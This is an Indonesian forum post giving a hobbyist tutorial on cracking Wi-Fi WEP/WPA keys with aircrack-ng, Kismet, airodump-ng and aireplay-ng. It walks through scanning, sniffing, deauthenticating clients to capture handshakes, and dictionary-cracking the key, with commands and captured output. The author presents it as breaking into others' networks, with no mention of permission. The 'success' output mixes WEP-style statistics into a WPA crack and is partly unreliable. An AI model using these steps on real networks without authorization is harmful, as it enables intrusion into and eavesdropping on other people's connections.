Threaded Mode | Linear Mode

Liyan oz · 03-24-2011, 07:42 PM

Assalamua;laikum war,wab,,

ini ada sedikit tutor dari newbie seperti saya,,,
momod kalo repost delete aja. . .
maaf ya newbie..

yang akan kita lakukan pada kali ini adalah melakukan hacking
pada jaringan wireless,,, yang katanya sech aman2 gtu,,
tapi disini kita akan melakukan hacking keynya OK.,..
yang kita gunakan adalah tools aircrack..
ini ada definisi aircrack langsung dari authornya

Code:

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover

keys once enough data packets have been captured. It implements the standard 

FMS attack along with some optimizations like KoreK attacks, as well as the 

all-new PTW attack, thus making the attack much faster compared to other WEP

cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks.

terus kita install yang namanya aircrack tersebut,,
untuk install langsung dari terminal sedrhana saja

Code:

root@Ph03nix:~# apt-get install aircrack-ng

atau download langsung file debnya di

Code:

http://www.aircrack-ng.org/

atau yang suka ngekstrak pake ini aja

Code:

wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc1.tar.gz

tar -zxvf aircrack-ng-1.0-rc1.tar.gz

cd aircrack-ng-1.0-rc1

make

make install

nah ada banyak pilihan yang saya sarankan untuk aircrack itu,,
saya anggap ada telah selesai menginstallnya..

oke yang akan kita lakukan ada 4 tahap,,
for this time,,, we will use

1) Kismet (Wireless network detector)
2) airodump-ng (Sniffing packages)
3) aireplay-ng (is used to inject frames)
4) aircrack-ng (Brute force on pagackes sniffed

hahhaa,,, bule sedikit ya,, biar gaya,, maklum nanti mau ke jakrta..
hrhhhehehe
welwh...

1# Kismet

kita install dulu kismetnya..
pake 3 cara kayak yang diatas juga ya..

Code:

root@Ph03nix:~# apt-get install kismet

http://www.kismetwireless.net/

setalah terinstall jalankan kismetnya demgan command

Code:

# kismet

[code]

lantas pertanyaanya untuk apa sech kismet itu ??

kismet kita gunakan untuk melakuakn scanning pada area wriless tersebut... termasuk,, siapa  yang terhubung dalam jaringan tersebut

channel serta SSID dari user,, dan lain sebagainya..

#2 airodump

setelah kita berhasil melakukan scan dengan kismet selanjutnya adalah

melakukan airodump atau melakukan sniffing dalam jaringan wifi tersebut

dasar commandnya

[code]

airodump-ng --channel <channel> -b <bssid> <interface> --write <file>

sebagai contoh saya melakukan sniff paket pada sebuah jaringan wifi

Code:

# airodump-ng --channel 11 wlan0 --write testsnif

CH 11 ][ Elapsed: 8 mins ][ 2011-03-23 22:28 ]                             

BSSID     PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ES

XX:69:31:1E  0   0        0       0    0  11  48  WEP  WEP   A

XX:62:33:30  0  90     4933   18187   32  11  54. WPA  TKIP   PSK  N

XX:40:6F:BC  -1   0        0      646    0  11  -1  OPN      < 

BSSID              STATION            PWR   Rate  Lost  Packets  Probes       

XX:62:33:30  XX:8F:DA:FA   -1  36- 0    0    17845               

(not associated)   XX:32:52:40   0   0- 1    0    97  Liyan-oz,DLINK             

(not associated)   XX:9D:CA:32   0   0- 1    0    36  HotSpot Junia

(not associated)   XX:2C:DB:D3   0   0- 1    0    5  Backtrack

XX:40:6F:BC  XX:8E:F4:78   0   0- 1     0     761  onto

nah diatas adalah informasi yang didapat ketika kita melakukan sniffing dengan airodump,, kita ambil sample user dengan BSSID
XX:8E:F4:78 terhubung dengan jaringan wireless yang memiliki
BSSID XX:40:6F:BC

menegerti ???

okem,,,, sesama newbie harus bisa paheam,,, hehehhe

# aireplay

pada aireplay kita akan melakukan injecti pada user dan wifi tersebut,,
agar ketika terjadi hubingan anatara server-client maka
kita akan menginjectnya dengan aireplay ini..
setelah itu kita bisa dapatkan infonya..

atau dalam arti yang sebenarnya adalah melakukan proses deauthentificate pada client untuk melkukan disconnect
pada servernya,,,
jadi koneksi handshake yang terjadi antara client dan server akan terputus dan kita akan menunggu koneksi selanjutanya..
agar bisa mendapatkan infonya...

commandnya sederhana

Code:

# aireplay-ng -0 1 -a <bssid> -c <client_mac_address> <interface>

#4 Aircrack

inilah ujung tombak dari sernagan wireless yang akan kita lakukan,,
atau inti dri serangannya,,

namaun untuk menggunakan tools ini,, kita terlebih dahulu harus membuat yang namanya passwordlist..
itulah isi dari perkiraan password dari wifi tersebut,,
jadi kalau tidak ada passwordlist jadi gak bisa dech,,,
kasian wkwkwk

command dasar

Code:

aircrack-ng -w <passwordlist> -b <bssid> <file.cap>

baik contoh pada saat kita melakukan injecti paket handshakeny adalah

Code:

# aircrack-ng -w /media/H4x0r/Hacker/onto.txt /home/Ph03nix/*.cap

Opening /home/Ph03nix/testsnif-01.cap

Read 45077 packets.

   #  BSSID              ESSID                     Encryption

   1  XX:62:33:30      Oz                   WPA (0 handshake)

   2  XX:40:6F:BC                            None (192.168.2.5)

   3  XX:F0:85:58      Bunda              No data - WEP or WPA

   4  XX:69:31:1E      Dae                 No data - WEP or WPA

Index number of target network ? 1

Opening /home/Ph03nix/testsnif-01.cap

No valid WPA handshakes found..

Quitting aircrack-ng...

#

contoh diats berarti kita gagal dan tidak ada hubungan antara,,
server dan cliet yang terhubung,, aka handshake

jika verhasil akan muncul seperti berikut

Code:

Aircrack-ng 1.0 beta1

                 [00:00:58] Tested 167049 keys (got 2677 IVs)

                 passphare key found  [Liyan]

   KB    depth   byte(vote)

    0   55/ 56   FC(3328) 02(3072) 0F(3072) 12(3072) 13(3072) 

    1    9/ 15   03(4352) 23(4096) 2A(4096) 5D(4096) 88(4096) 

    2    1/  2   5F(5120) AE(4352) C4(4352) 05(4096) 0E(4096) 

    3   12/  3   ED(4096) 05(3840) 27(3840) 2A(3840) 32(3840) 

    4   17/  4   C1(4352) 73(4096) FC(4096) 29(3840) 50(3840)

oke kita berhasil melakukan hacking pada jaringan wifi,,

ingat, gak ada jaringan yang aman..
gak ada hidup yang selalu diatas...

sekian dulu ya,,,
moga bisa membantu....

regards..

Liyan oz